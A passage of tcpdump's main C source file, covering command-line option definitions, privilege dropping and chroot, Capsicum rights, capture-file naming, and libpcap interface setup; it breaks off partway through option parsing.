/* HAVE_CAPSICUM */ #include <pcap.h> #include <signal.h> #include <stdio.h> #include <stdarg.h> #include <stdlib.h> #include <string.h> #include <limits.h> #ifndef _WIN32 #include <sys/wait.h> #include <sys/resource.h> #include <pwd.h> #include <grp.h> #endif /* _WIN32 */ /* capabilities convenience library */ /* If a code depends on HAVE_LIBCAP_NG, it depends also on HAVE_CAP_NG_H. * If HAVE_CAP_NG_H is not defined, undefine HAVE_LIBCAP_NG. * Thus, the later tests are done only on HAVE_LIBCAP_NG. */ #ifdef HAVE_LIBCAP_NG #ifdef HAVE_CAP_NG_H #include <cap-ng.h> #else #undef HAVE_LIBCAP_NG #endif /* HAVE_CAP_NG_H */ #endif /* HAVE_LIBCAP_NG */ #include "netdissect.h" #include "interface.h" #include "addrtoname.h" #include "machdep.h" #include "setsignal.h" #include "gmt2local.h" #include "pcap-missing.h" #include "ascii_strcasecmp.h" #include "print.h" #ifndef PATH_MAX #define PATH_MAX 1024 #endif #ifdef SIGINFO #define SIGNAL_REQ_INFO SIGINFO #elif SIGUSR1 #define SIGNAL_REQ_INFO SIGUSR1 #endif static int Bflag; /* buffer size */ static long Cflag; /* rotate dump files after this many bytes */ static int Cflag_count; /* Keep track of which file number we're writing */ static int Dflag; /* list available devices and exit */ /* * This is exported because, in some versions of libpcap, if libpcap * is built with optimizer debugging code (which is *NOT* the default * configuration!), the library *imports*(!) a variable named dflag, * under the expectation that tcpdump is exporting it, to govern * how much debugging information to print when optimizing * the generated BPF code. * * This is a horrible hack; newer versions of libpcap don't import * dflag but, instead, *if* built with optimizer debugging code, * *export* a routine to set that flag. */ int dflag; /* print filter code */ static int Gflag; /* rotate dump files after this many seconds */ static int Gflag_count; /* number of files created with Gflag rotation */ static time_t Gflag_time; /* The last time_t the dump file was rotated. */ static int Lflag; /* list available data link types and exit */ static int Iflag; /* rfmon (monitor) mode */ #ifdef HAVE_PCAP_SET_TSTAMP_TYPE static int Jflag; /* list available time stamp types */ #endif static int jflag = -1; /* packet time stamp source */ static int pflag; /* don't go promiscuous */ #ifdef HAVE_PCAP_SETDIRECTION static int Qflag = -1; /* restrict captured packet by send/receive direction */ #endif static int Uflag; /* "unbuffered" output of dump files */ static int Wflag; /* recycle output files after this number of files */ static int WflagChars; static char *zflag = NULL; /* compress each savefile using a specified command (like gzip or bzip2) */ static int immediate_mode; static int infodelay; static int infoprint; char *program_name; /* Forwards */ static void error(FORMAT_STRING(const char *), ...) NORETURN PRINTFLIKE(1, 2); static void warning(FORMAT_STRING(const char *), ...) PRINTFLIKE(1, 2); static void exit_tcpdump(int) NORETURN; static RETSIGTYPE cleanup(int); static RETSIGTYPE child_cleanup(int); static void print_version(void); static void print_usage(void); static void show_tstamp_types_and_exit(pcap_t *, const char *device) NORETURN; static void show_dlts_and_exit(pcap_t *, const char *device) NORETURN; #ifdef HAVE_PCAP_FINDALLDEVS static void show_devices_and_exit (void) NORETURN; #endif static void print_packet(u_char *, const struct pcap_pkthdr *, const u_char *); static void dump_packet_and_trunc(u_char *, const struct pcap_pkthdr *, const u_char *); static void dump_packet(u_char *, const struct pcap_pkthdr *, const u_char *); static void droproot(const char *, const char *); #ifdef SIGNAL_REQ_INFO RETSIGTYPE requestinfo(int); #endif #if defined(USE_WIN32_MM_TIMER) #include <MMsystem.h> static UINT timer_id; static void CALLBACK verbose_stats_dump(UINT, UINT, DWORD_PTR, DWORD_PTR, DWORD_PTR); #elif defined(HAVE_ALARM) static void verbose_stats_dump(int sig); #endif static void info(int); static u_int packets_captured; #ifdef HAVE_PCAP_FINDALLDEVS static const struct tok status_flags[] = { #ifdef PCAP_IF_UP { PCAP_IF_UP, "Up" }, #endif #ifdef PCAP_IF_RUNNING { PCAP_IF_RUNNING, "Running" }, #endif { PCAP_IF_LOOPBACK, "Loopback" }, { 0, NULL } }; #endif static pcap_t *pd; static int supports_monitor_mode; extern int optind; extern int opterr; extern char *optarg; struct dump_info { char *WFileName; char *CurrentFileName; pcap_t *pd; pcap_dumper_t *p; #ifdef HAVE_CAPSICUM int dirfd; #endif }; #if defined(HAVE_PCAP_SET_PARSER_DEBUG) /* * We have pcap_set_parser_debug() in libpcap; declare it (it's not declared * by any libpcap header, because it's a special hack, only available if * libpcap was configured to include it, and only intended for use by * libpcap developers trying to debug the parser for filter expressions). */ #ifdef _WIN32 __declspec(dllimport) #else /* _WIN32 */ extern #endif /* _WIN32 */ void pcap_set_parser_debug(int); #elif defined(HAVE_PCAP_DEBUG) || defined(HAVE_YYDEBUG) /* * We don't have pcap_set_parser_debug() in libpcap, but we do have * pcap_debug or yydebug. Make a local version of pcap_set_parser_debug() * to set the flag, and define HAVE_PCAP_SET_PARSER_DEBUG. */ static void pcap_set_parser_debug(int value) { #ifdef HAVE_PCAP_DEBUG extern int pcap_debug; pcap_debug = value; #else /* HAVE_PCAP_DEBUG */ extern int yydebug; yydebug = value; #endif /* HAVE_PCAP_DEBUG */ } #define HAVE_PCAP_SET_PARSER_DEBUG #endif #if defined(HAVE_PCAP_SET_OPTIMIZER_DEBUG) /* * We have pcap_set_optimizer_debug() in libpcap; declare it (it's not declared * by any libpcap header, because it's a special hack, only available if * libpcap was configured to include it, and only intended for use by * libpcap developers trying to debug the optimizer for filter expressions). */ #ifdef _WIN32 __declspec(dllimport) #else /* _WIN32 */ extern #endif /* _WIN32 */ void pcap_set_optimizer_debug(int); #endif /* VARARGS */ static void error(const char *fmt, ...) { va_list ap; (void)fprintf(stderr, "%s: ", program_name); va_start(ap, fmt); (void)vfprintf(stderr, fmt, ap); va_end(ap); if (*fmt) { fmt += strlen(fmt); if (fmt[-1] != '\n') (void)fputc('\n', stderr); } exit_tcpdump(1); /* NOTREACHED */ } /* VARARGS */ static void warning(const char *fmt, ...) { va_list ap; (void)fprintf(stderr, "%s: WARNING: ", program_name); va_start(ap, fmt); (void)vfprintf(stderr, fmt, ap); va_end(ap); if (*fmt) { fmt += strlen(fmt); if (fmt[-1] != '\n') (void)fputc('\n', stderr); } } static void exit_tcpdump(int status) { nd_cleanup(); exit(status); } #ifdef HAVE_PCAP_SET_TSTAMP_TYPE static void show_tstamp_types_and_exit(pcap_t *pc, const char *device) { int n_tstamp_types; int *tstamp_types = 0; const char *tstamp_type_name; int i; n_tstamp_types = pcap_list_tstamp_types(pc, &tstamp_types); if (n_tstamp_types < 0) error("%s", pcap_geterr(pc)); if (n_tstamp_types == 0) { fprintf(stderr, "Time stamp type cannot be set for %s\n", device); exit_tcpdump(0); } fprintf(stderr, "Time stamp types for %s (use option -j to set):\n", device); for (i = 0; i < n_tstamp_types; i++) { tstamp_type_name = pcap_tstamp_type_val_to_name(tstamp_types[i]); if (tstamp_type_name != NULL) { (void) fprintf(stderr, " %s (%s)\n", tstamp_type_name, pcap_tstamp_type_val_to_description(tstamp_types[i])); } else { (void) fprintf(stderr, " %d\n", tstamp_types[i]); } } pcap_free_tstamp_types(tstamp_types); exit_tcpdump(0); } #endif static void show_dlts_and_exit(pcap_t *pc, const char *device) { int n_dlts, i; int *dlts = 0; const char *dlt_name; n_dlts = pcap_list_datalinks(pc, &dlts); if (n_dlts < 0) error("%s", pcap_geterr(pc)); else if (n_dlts == 0 || !dlts) error("No data link types."); /* * If the interface is known to support monitor mode, indicate * whether these are the data link types available when not in * monitor mode, if -I wasn't specified, or when in monitor mode, * when -I was specified (the link-layer types available in * monitor mode might be different from the ones available when * not in monitor mode). */ if (supports_monitor_mode) (void) fprintf(stderr, "Data link types for %s %s (use option -y to set):\n", device, Iflag ? "when in monitor mode" : "when not in monitor mode"); else (void) fprintf(stderr, "Data link types for %s (use option -y to set):\n", device); for (i = 0; i < n_dlts; i++) { dlt_name = pcap_datalink_val_to_name(dlts[i]); if (dlt_name != NULL) { (void) fprintf(stderr, " %s (%s)", dlt_name, pcap_datalink_val_to_description(dlts[i])); /* * OK, does tcpdump handle that type? */ if (!has_printer(dlts[i])) (void) fprintf(stderr, " (printing not supported)"); fprintf(stderr, "\n"); } else { (void) fprintf(stderr, " DLT %d (printing not supported)\n", dlts[i]); } } #ifdef HAVE_PCAP_FREE_DATALINKS pcap_free_datalinks(dlts); #endif exit_tcpdump(0); } #ifdef HAVE_PCAP_FINDALLDEVS static void show_devices_and_exit (void) { pcap_if_t *dev, *devlist; char ebuf[PCAP_ERRBUF_SIZE]; int i; if (pcap_findalldevs(&devlist, ebuf) < 0) error("%s", ebuf); for (i = 0, dev = devlist; dev != NULL; i++, dev = dev->next) { printf("%d.%s", i+1, dev->name); if (dev->description != NULL) printf(" (%s)", dev->description); if (dev->flags != 0) printf(" [%s]", bittok2str(status_flags, "none", dev->flags)); printf("\n"); } pcap_freealldevs(devlist); exit_tcpdump(0); } #endif /* HAVE_PCAP_FINDALLDEVS */ /* * Short options. * * Note that there we use all letters for short options except for g, k, * o, and P, and those are used by other versions of tcpdump, and we should * only use them for the same purposes that the other versions of tcpdump * use them: * * OS X tcpdump uses -g to force non--v output for IP to be on one * line, making it more "g"repable; * * OS X tcpdump uses -k to specify that packet comments in pcap-ng files * should be printed; * * OpenBSD tcpdump uses -o to indicate that OS fingerprinting should be done * for hosts sending TCP SYN packets; * * OS X tcpdump uses -P to indicate that -w should write pcap-ng rather * than pcap files. * * OS X tcpdump also uses -Q to specify expressions that match packet * metadata, including but not limited to the packet direction. * The expression syntax is different from a simple "in|out|inout", * and those expressions aren't accepted by OS X tcpdump, but the * equivalents would be "in" = "dir=in", "out" = "dir=out", and * "inout" = "dir=in or dir=out", and the parser could conceivably * special-case "in", "out", and "inout" as expressions for backwards * compatibility, so all is not (yet) lost. */ /* * Set up flags that might or might not be supported depending on the * version of libpcap we're using. */ #if defined(HAVE_PCAP_CREATE) || defined(_WIN32) #define B_FLAG "B:" #define B_FLAG_USAGE " [ -B size ]" #else /* defined(HAVE_PCAP_CREATE) || defined(_WIN32) */ #define B_FLAG #define B_FLAG_USAGE #endif /* defined(HAVE_PCAP_CREATE) || defined(_WIN32) */ #ifdef HAVE_PCAP_CREATE #define I_FLAG "I" #else /* HAVE_PCAP_CREATE */ #define I_FLAG #endif /* HAVE_PCAP_CREATE */ #ifdef HAVE_PCAP_SET_TSTAMP_TYPE #define j_FLAG "j:" #define j_FLAG_USAGE " [ -j tstamptype ]" #define J_FLAG "J" #else /* PCAP_ERROR_TSTAMP_TYPE_NOTSUP */ #define j_FLAG #define j_FLAG_USAGE #define J_FLAG #endif /* PCAP_ERROR_TSTAMP_TYPE_NOTSUP */ #ifdef HAVE_PCAP_FINDALLDEVS #define D_FLAG "D" #else #define D_FLAG #endif #ifdef HAVE_PCAP_DUMP_FLUSH #define U_FLAG "U" #else #define U_FLAG #endif #ifdef HAVE_PCAP_SETDIRECTION #define Q_FLAG "Q:" #else #define Q_FLAG #endif #define SHORTOPTS "aAb" B_FLAG "c:C:d" D_FLAG "eE:fF:G:hHi:" I_FLAG j_FLAG J_FLAG "KlLm:M:nNOpq" Q_FLAG "r:s:StT:u" U_FLAG "vV:w:W:xXy:Yz:Z:#" /* * Long options. * * We do not currently have long options corresponding to all short * options; we should probably pick appropriate option names for them. * * However, the short options where the number of times the option is * specified matters, such as -v and -d and -t, should probably not * just map to a long option, as saying * * tcpdump --verbose --verbose * * doesn't make sense; it should be --verbosity={N} or something such * as that. * * For long options with no corresponding short options, we define values * outside the range of ASCII graphic characters, make that the last * component of the entry for the long option, and have a case for that * option in the switch statement. */ #define OPTION_VERSION 128 #define OPTION_TSTAMP_PRECISION 129 #define OPTION_IMMEDIATE_MODE 130 static const struct option longopts[] = { #if defined(HAVE_PCAP_CREATE) || defined(_WIN32) { "buffer-size", required_argument, NULL, 'B' }, #endif { "list-interfaces", no_argument, NULL, 'D' }, { "help", no_argument, NULL, 'h' }, { "interface", required_argument, NULL, 'i' }, #ifdef HAVE_PCAP_CREATE { "monitor-mode", no_argument, NULL, 'I' }, #endif #ifdef HAVE_PCAP_SET_TSTAMP_TYPE { "time-stamp-type", required_argument, NULL, 'j' }, { "list-time-stamp-types", no_argument, NULL, 'J' }, #endif #ifdef HAVE_PCAP_SET_TSTAMP_PRECISION { "time-stamp-precision", required_argument, NULL, OPTION_TSTAMP_PRECISION}, #endif { "dont-verify-checksums", no_argument, NULL, 'K' }, { "list-data-link-types", no_argument, NULL, 'L' }, { "no-optimize", no_argument, NULL, 'O' }, { "no-promiscuous-mode", no_argument, NULL, 'p' }, #ifdef HAVE_PCAP_SETDIRECTION { "direction", required_argument, NULL, 'Q' }, #endif { "snapshot-length", required_argument, NULL, 's' }, { "absolute-tcp-sequence-numbers", no_argument, NULL, 'S' }, #ifdef HAVE_PCAP_DUMP_FLUSH { "packet-buffered", no_argument, NULL, 'U' }, #endif { "linktype", required_argument, NULL, 'y' }, #ifdef HAVE_PCAP_SET_IMMEDIATE_MODE { "immediate-mode", no_argument, NULL, OPTION_IMMEDIATE_MODE }, #endif #ifdef HAVE_PCAP_SET_PARSER_DEBUG { "debug-filter-parser", no_argument, NULL, 'Y' }, #endif { "relinquish-privileges", required_argument, NULL, 'Z' }, { "number", no_argument, NULL, '#' }, { "version", no_argument, NULL, OPTION_VERSION }, { NULL, 0, NULL, 0 } }; #ifndef _WIN32 /* Drop root privileges and chroot if necessary */ static void droproot(const char *username, const char *chroot_dir) { struct passwd *pw = NULL; if (chroot_dir && !username) { fprintf(stderr, "%s: Chroot without dropping root is insecure\n", program_name); exit_tcpdump(1); } pw = getpwnam(username); if (pw) { if (chroot_dir) { if (chroot(chroot_dir) != 0 || chdir ("/") != 0) { fprintf(stderr, "%s: Couldn't chroot/chdir to '%.64s': %s\n", program_name, chroot_dir, pcap_strerror(errno)); exit_tcpdump(1); } } #ifdef HAVE_LIBCAP_NG { int ret = capng_change_id(pw->pw_uid, pw->pw_gid, CAPNG_NO_FLAG); if (ret < 0) error("capng_change_id(): return %d\n", ret); else fprintf(stderr, "dropped privs to %s\n", username); } #else if (initgroups(pw->pw_name, pw->pw_gid) != 0 || setgid(pw->pw_gid) != 0 || setuid(pw->pw_uid) != 0) { fprintf(stderr, "%s: Couldn't change to '%.32s' uid=%lu gid=%lu: %s\n", program_name, username, (unsigned long)pw->pw_uid, (unsigned long)pw->pw_gid, pcap_strerror(errno)); exit_tcpdump(1); } else { fprintf(stderr, "dropped privs to %s\n", username); } #endif /* HAVE_LIBCAP_NG */ } else { fprintf(stderr, "%s: Couldn't find user '%.32s'\n", program_name, username); exit_tcpdump(1); } #ifdef HAVE_LIBCAP_NG /* We don't need CAP_SETUID, CAP_SETGID and CAP_SYS_CHROOT any more. */ capng_updatev( CAPNG_DROP, CAPNG_EFFECTIVE | CAPNG_PERMITTED, CAP_SETUID, CAP_SETGID, CAP_SYS_CHROOT, -1); capng_apply(CAPNG_SELECT_BOTH); #endif /* HAVE_LIBCAP_NG */ } #endif /* _WIN32 */ static int getWflagChars(int x) { int c = 0; x -= 1; while (x > 0) { c += 1; x /= 10; } return c; } static void MakeFilename(char *buffer, char *orig_name, int cnt, int max_chars) { char *filename = malloc(PATH_MAX + 1); if (filename == NULL) error("Makefilename: malloc"); /* Process with strftime if Gflag is set. */ if (Gflag != 0) { struct tm *local_tm; /* Convert Gflag_time to a usable format */ if ((local_tm = localtime(&Gflag_time)) == NULL) { error("MakeTimedFilename: localtime"); } /* There's no good way to detect an error in strftime since a return * value of 0 isn't necessarily failure. */ strftime(filename, PATH_MAX, orig_name, local_tm); } else { strncpy(filename, orig_name, PATH_MAX); } if (cnt == 0 && max_chars == 0) strncpy(buffer, filename, PATH_MAX + 1); else if (snprintf(buffer, PATH_MAX + 1, "%s%0*d", filename, max_chars, cnt) > PATH_MAX) /* Report an error if the filename is too large */ error("too many output files or filename is too long (> %d)", PATH_MAX); free(filename); } static char * get_next_file(FILE *VFile, char *ptr) { char *ret; ret = fgets(ptr, PATH_MAX, VFile); if (!ret) return NULL; if (ptr[strlen(ptr) - 1] == '\n') ptr[strlen(ptr) - 1] = '\0'; return ret; } #ifdef HAVE_PCAP_SET_TSTAMP_PRECISION static int tstamp_precision_from_string(const char *precision) { if (strncmp(precision, "nano", strlen("nano")) == 0) return PCAP_TSTAMP_PRECISION_NANO; if (strncmp(precision, "micro", strlen("micro")) == 0) return PCAP_TSTAMP_PRECISION_MICRO; return -EINVAL; } static const char * tstamp_precision_to_string(int precision) { switch (precision) { case PCAP_TSTAMP_PRECISION_MICRO: return "micro"; case PCAP_TSTAMP_PRECISION_NANO: return "nano"; default: return "unknown"; } } #endif #ifdef HAVE_CAPSICUM /* * Ensure that, on a dump file's descriptor, we have all the rights * necessary to make the standard I/O library work with an fdopen()ed * FILE * from that descriptor. * * A long time ago, in a galaxy far far away, AT&T decided that, instead * of providing separate APIs for getting and setting the FD_ flags on a * descriptor, getting and setting the O_ flags on a descriptor, and * locking files, they'd throw them all into a kitchen-sink fcntl() call * along the lines of ioctl(), the fact that ioctl() operations are * largely specific to particular character devices but fcntl() operations * are either generic to all descriptors or generic to all descriptors for * regular files nonwithstanding. * * The Capsicum people decided that fine-grained control of descriptor * operations was required, so that you need to grant permission for * reading, writing, seeking, and fcntl-ing. The latter, courtesy of * AT&T's decision, means that "fcntl-ing" isn't a thing, but a motley * collection of things, so there are *individual* fcntls for which * permission needs to be granted. * * The FreeBSD standard I/O people implemented some optimizations that * requires that the standard I/O routines be able to determine whether * the descriptor for the FILE * is open append-only or not; as that * descriptor could have come from an open() rather than an fopen(), * that requires that it be able to do an F_GETFL fcntl() to read * the O_ flags. * * Tcpdump uses ftell() to determine how much data has been written * to a file in order to, when used with -C, determine when it's time * to rotate capture files. ftell() therefore needs to do an lseek() * to find out the file offset and must, thanks to the aforementioned * optimization, also know whether the descriptor is open append-only * or not. * * The net result of all the above is that we need to grant CAP_SEEK, * CAP_WRITE, and CAP_FCNTL with the CAP_FCNTL_GETFL subcapability. * * Perhaps this is the universe's way of saying that either * * 1) there needs to be an fopenat() call and a pcap_dump_openat() call * using it, so that Capsicum-capable tcpdump wouldn't need to do * an fdopen() * * or * * 2) there needs to be a cap_fdopen() call in the FreeBSD standard * I/O library that knows what rights are needed by the standard * I/O library, based on the open mode, and assigns them, perhaps * with an additional argument indicating, for example, whether * seeking should be allowed, so that tcpdump doesn't need to know * what the standard I/O library happens to require this week. */ static void set_dumper_capsicum_rights(pcap_dumper_t *p) { int fd = fileno(pcap_dump_file(p)); cap_rights_t rights; cap_rights_init(&rights, CAP_SEEK, CAP_WRITE, CAP_FCNTL); if (cap_rights_limit(fd, &rights) < 0 && errno != ENOSYS) { error("unable to limit dump descriptor"); } if (cap_fcntls_limit(fd, CAP_FCNTL_GETFL) < 0 && errno != ENOSYS) { error("unable to limit dump descriptor fcntls"); } } #endif /* * Copy arg vector into a new buffer, concatenating arguments with spaces. */ static char * copy_argv(register char **argv) { register char **p; register u_int len = 0; char *buf; char *src, *dst; p = argv; if (*p == NULL) return 0; while (*p) len += strlen(*p++) + 1; buf = (char *)malloc(len); if (buf == NULL) error("copy_argv: malloc"); p = argv; dst = buf; while ((src = *p++) != NULL) { while ((*dst++ = *src++) != '\0') ; dst[-1] = ' '; } dst[-1] = '\0'; return buf; } /* * On Windows, we need to open the file in binary mode, so that * we get all the bytes specified by the size we get from "fstat()". * On UNIX, that's not necessary. O_BINARY is defined on Windows; * we define it as 0 if it's not defined, so it does nothing. */ #ifndef O_BINARY #define O_BINARY 0 #endif static char * read_infile(char *fname) { register int i, fd, cc; register char *cp; struct stat buf; fd = open(fname, O_RDONLY|O_BINARY); if (fd < 0) error("can't open %s: %s", fname, pcap_strerror(errno)); if (fstat(fd, &buf) < 0) error("can't stat %s: %s", fname, pcap_strerror(errno)); cp = malloc((u_int)buf.st_size + 1); if (cp == NULL) error("malloc(%d) for %s: %s", (u_int)buf.st_size + 1, fname, pcap_strerror(errno)); cc = read(fd, cp, (u_int)buf.st_size); if (cc < 0) error("read %s: %s", fname, pcap_strerror(errno)); if (cc != buf.st_size) error("short read %s (%d != %d)", fname, cc, (int)buf.st_size); close(fd); /* replace "# comment" with spaces */ for (i = 0; i < cc; i++) { if (cp[i] == '#') while (i < cc && cp[i] != '\n') cp[i++] = ' '; } cp[cc] = '\0'; return (cp); } #ifdef HAVE_PCAP_FINDALLDEVS static long parse_interface_number(const char *device) { long devnum; char *end; devnum = strtol(device, &end, 10); if (device != end && *end == '\0') { /* * It's all-numeric, but is it a valid number? */ if (devnum <= 0) { /* * No, it's not an ordinal. */ error("Invalid adapter index"); } return (devnum); } else { /* * It's not all-numeric; return -1, so our caller * knows that. */ return (-1); } } static char * find_interface_by_number(long devnum) { pcap_if_t *dev, *devlist; long i; char ebuf[PCAP_ERRBUF_SIZE]; char *device; if (pcap_findalldevs(&devlist, ebuf) < 0) error("%s", ebuf); /* * Look for the devnum-th entry in the list of devices (1-based). */ for (i = 0, dev = devlist; i < devnum-1 && dev != NULL; i++, dev = dev->next) ; if (dev == NULL) error("Invalid adapter index"); device = strdup(dev->name); pcap_freealldevs(devlist); return (device); } #endif static pcap_t * open_interface(const char *device, netdissect_options *ndo, char *ebuf) { pcap_t *pc; #ifdef HAVE_PCAP_CREATE int status; char *cp; #endif #ifdef HAVE_PCAP_CREATE pc = pcap_create(device, ebuf); if (pc == NULL) { /* * If this failed with "No such device", that means * the interface doesn't exist; return NULL, so that * the caller can see whether the device name is * actually an interface index. */ if (strstr(ebuf, "No such device") != NULL) return (NULL); error("%s", ebuf); } #ifdef HAVE_PCAP_SET_TSTAMP_TYPE if (Jflag) show_tstamp_types_and_exit(pc, device); #endif #ifdef HAVE_PCAP_SET_TSTAMP_PRECISION status = pcap_set_tstamp_precision(pc, ndo->ndo_tstamp_precision); if (status != 0) error("%s: Can't set %ssecond time stamp precision: %s", device, tstamp_precision_to_string(ndo->ndo_tstamp_precision), pcap_statustostr(status)); #endif #ifdef HAVE_PCAP_SET_IMMEDIATE_MODE if (immediate_mode) { status = pcap_set_immediate_mode(pc, 1); if (status != 0) error("%s: Can't set immediate mode: %s", device, pcap_statustostr(status)); } #endif /* * Is this an interface that supports monitor mode? */ if (pcap_can_set_rfmon(pc) == 1) supports_monitor_mode = 1; else supports_monitor_mode = 0; status = pcap_set_snaplen(pc, ndo->ndo_snaplen); if (status != 0) error("%s: Can't set snapshot length: %s", device, pcap_statustostr(status)); status = pcap_set_promisc(pc, !pflag); if (status != 0) error("%s: Can't set promiscuous mode: %s", device, pcap_statustostr(status)); if (Iflag) { status = pcap_set_rfmon(pc, 1); if (status != 0) error("%s: Can't set monitor mode: %s", device, pcap_statustostr(status)); } status = pcap_set_timeout(pc, 1000); if (status != 0) error("%s: pcap_set_timeout failed: %s", device, pcap_statustostr(status)); if (Bflag != 0) { status = pcap_set_buffer_size(pc, Bflag); if (status != 0) error("%s: Can't set buffer size: %s", device, pcap_statustostr(status)); } #ifdef HAVE_PCAP_SET_TSTAMP_TYPE if (jflag != -1) { status = pcap_set_tstamp_type(pc, jflag); if (status < 0) error("%s: Can't set time stamp type: %s", device, pcap_statustostr(status)); else if (status > 0) warning("When trying to set timestamp type '%s' on %s: %s", pcap_tstamp_type_val_to_name(jflag), device, pcap_statustostr(status)); } #endif status = pcap_activate(pc); if (status < 0) { /* * pcap_activate() failed. */ cp = pcap_geterr(pc); if (status == PCAP_ERROR) error("%s", cp); else if (status == PCAP_ERROR_NO_SUCH_DEVICE) { /* * Return an error for our caller to handle. */ snprintf(ebuf, PCAP_ERRBUF_SIZE, "%s: %s\n(%s)", device, pcap_statustostr(status), cp); pcap_close(pc); return (NULL); } else if (status == PCAP_ERROR_PERM_DENIED && *cp != '\0') error("%s: %s\n(%s)", device, pcap_statustostr(status), cp); else error("%s: %s", device, pcap_statustostr(status)); } else if (status > 0) { /* * pcap_activate() succeeded, but it's warning us * of a problem it had. */ cp = pcap_geterr(pc); if (status == PCAP_WARNING) warning("%s", cp); else if (status == PCAP_WARNING_PROMISC_NOTSUP && *cp != '\0') warning("%s: %s\n(%s)", device, pcap_statustostr(status), cp); else warning("%s: %s", device, pcap_statustostr(status)); } #ifdef HAVE_PCAP_SETDIRECTION if (Qflag != -1) { status = pcap_setdirection(pc, Qflag); if (status != 0) error("%s: pcap_setdirection() failed: %s", device, pcap_geterr(pc)); } #endif /* HAVE_PCAP_SETDIRECTION */ #else /* HAVE_PCAP_CREATE */ *ebuf = '\0'; pc = pcap_open_live(device, ndo->ndo_snaplen, !pflag, 1000, ebuf); if (pc == NULL) { /* * If this failed with "No such device", that means * the interface doesn't exist; return NULL, so that * the caller can see whether the device name is * actually an interface index. */ if (strstr(ebuf, "No such device") != NULL) return (NULL); error("%s", ebuf); } if (*ebuf) warning("%s", ebuf); #endif /* HAVE_PCAP_CREATE */ return (pc); } int main(int argc, char **argv) { register int cnt, op, i; bpf_u_int32 localnet =0 , netmask = 0; int timezone_offset = 0; register char *cp, *infile, *cmdbuf, *device, *RFileName, *VFileName, *WFileName; pcap_handler callback; int dlt; const char *dlt_name; struct bpf_program fcode; #ifndef _WIN32 RETSIGTYPE (*oldhandler)(int); #endif struct dump_info dumpinfo; u_char *pcap_userdata; char ebuf[PCAP_ERRBUF_SIZE]; char VFileLine[PATH_MAX + 1]; char *username = NULL; char *chroot_dir = NULL; char *ret = NULL; char *end; #ifdef HAVE_PCAP_FINDALLDEVS pcap_if_t *devlist; long devnum; #endif int status; FILE *VFile; #ifdef HAVE_CAPSICUM cap_rights_t rights; int cansandbox; #endif /* HAVE_CAPSICUM */ int Oflag = 1; /* run filter code optimizer */ int yflag_dlt = -1; const char *yflag_dlt_name = NULL; netdissect_options Ndo; netdissect_options *ndo = &Ndo; /* * Initialize the netdissect code. */ if (nd_init(ebuf, sizeof ebuf) == -1) error("%s", ebuf); memset(ndo, 0, sizeof(*ndo)); ndo_set_function_pointers(ndo); ndo->ndo_snaplen = DEFAULT_SNAPLEN; cnt = -1; device = NULL; infile = NULL; RFileName = NULL; VFileName = NULL; VFile = NULL; WFileName = NULL; dlt = -1; if ((cp = strrchr(argv[0], '/')) != NULL) ndo->program_name = program_name = cp + 1; else ndo->program_name = program_name = argv[0]; #ifdef _WIN32 if (pcap_wsockinit() != 0) error("Attempting to initialize Winsock failed"); #endif /* _WIN32 */ /* * On platforms where the CPU doesn't support unaligned loads, * force unaligned accesses to abort with SIGBUS, rather than * being fixed up (slowly) by the OS kernel; on those platforms, * misaligned accesses are bugs, and we want tcpdump to crash so * that the bugs are reported. */ if (abort_on_misalignment(ebuf, sizeof(ebuf)) < 0) error("%s", ebuf); while ( (op = getopt_long(argc, argv, SHORTOPTS, longopts, NULL)) != -1) switch (op) { case 'a': /* compatibility for old -a */ break; case 'A': ++ndo->ndo_Aflag; break; case 'b': ++ndo->ndo_bflag; break; #if defined(HAVE_PCAP_CREATE) || defined(_WIN32) case 'B': Bflag = atoi(optarg)*1024; if (Bflag <= 0) error("invalid packet buffer size %s", optarg); break; #endif /* defined(HAVE_PCAP_CREATE) || defined(_WIN32) */ case 'c': cnt = atoi(optarg); if (cnt <= 0) error("invalid packet count %s", optarg); break; case 'C': Cflag = atoi(optarg) * 1000000; if (Cflag <= 0) error("invalid file size %s", optarg); break; case 'd': ++dflag; break; case 'D': Dflag++; break; case 'L': Lflag++; break; case 'e': ++ndo->ndo_eflag; break; case 'E': #ifndef HAVE_LIBCRYPTO warning("crypto code not compiled in"); #endif ndo->ndo_espsecret = optarg; break; case 'f': ++ndo->ndo_fflag; break; case 'F': infile = optarg; break; case 'G': Gflag = atoi(optarg); if (Gflag < 0) error("invalid number of seconds %s", optarg); /* We will create one file initially. */ Gflag_count = 0; /* Grab the current time for rotation use. */ if ((Gflag_time = time(NULL)) == (time_t)-1) { error("main: can't get current time: %s", pcap_strerror(errno)); } break; case 'h': print_usage(); exit_tcpdump(0); break; case 'H': ++ndo->ndo_Hflag; break; case 'i': device = optarg; break; #ifdef HAVE_PCAP_CREATE case 'I': ++Iflag; break; #endif /* HAVE_PCAP_CREATE */ #ifdef HAVE_PCAP_SET_TSTAMP_TYPE case 'j': jflag = pcap_tstamp_type_name_to_val(optarg); if (jflag < 0) error("invalid time stamp type %s", optarg); break; case 'J': Jflag++; break; #endif case 'l': #ifdef _WIN32 /* * _IOLBF is the same as _IOFBF in Microsoft's C * libraries; the only alternative they offer * is _IONBF. * * XXX - this should really be checking for MSVC++, * not _WIN32, if, for example, MinGW has its own * C library that is more UNIX-compatible. */ setvbuf(stdout, NULL, _IONBF, 0); #else /* _WIN32 */ #ifdef HAVE_SETLINEBUF setlinebuf(stdout); #else setvbuf(stdout, NULL, _IOLBF, 0); #endif #endif /* _WIN32 */ break; case 'K': ++ndo->ndo_Kflag; break; case 'm': if (nd_have_smi_support()) { if (nd_load_smi_module(optarg, ebuf, sizeof ebuf) == -1) error("%s", ebuf); } else { (void)fprintf(stderr, "%s: ignoring option `-m %s' ", program_name, optarg); (void)fprintf(stderr, "(no libsmi support)\n"); } break; case 'M': /* TCP-MD5 shared secret */ #ifndef HAVE_LIBCRYPTO warning("crypto code not compiled in"); #endif ndo->ndo_sigsecret = optarg; break; case 'n': ++ndo->ndo_nflag; break; case 'N': ++ndo->ndo_Nflag; break; case 'O': Oflag = 0; break; case 'p': ++pflag; break; case 'q': ++ndo->ndo_qflag; ++ndo->ndo_suppress_default_print; break; #ifdef HAVE_PCAP_SETDIRECTION case 'Q': if (ascii_strcasecmp(optarg, "in") == 0) Qflag = PCAP_D_IN; else if (ascii_strcasecmp(optarg, "out") == 0) Qflag = PCAP_D_OUT; else if (ascii_strcasecmp(optarg, "inout") == 0) Qflag = PCAP_D_INOUT; else error("unknown capture direction `%s'", optarg); break; #endif /* HAVE_PCAP_SETDIRECTION */ case 'r': RFileName = optarg; break; case 's': ndo->ndo_snaplen = strtol(optarg, &end, 0); if (optarg == end || *end != '\0' || 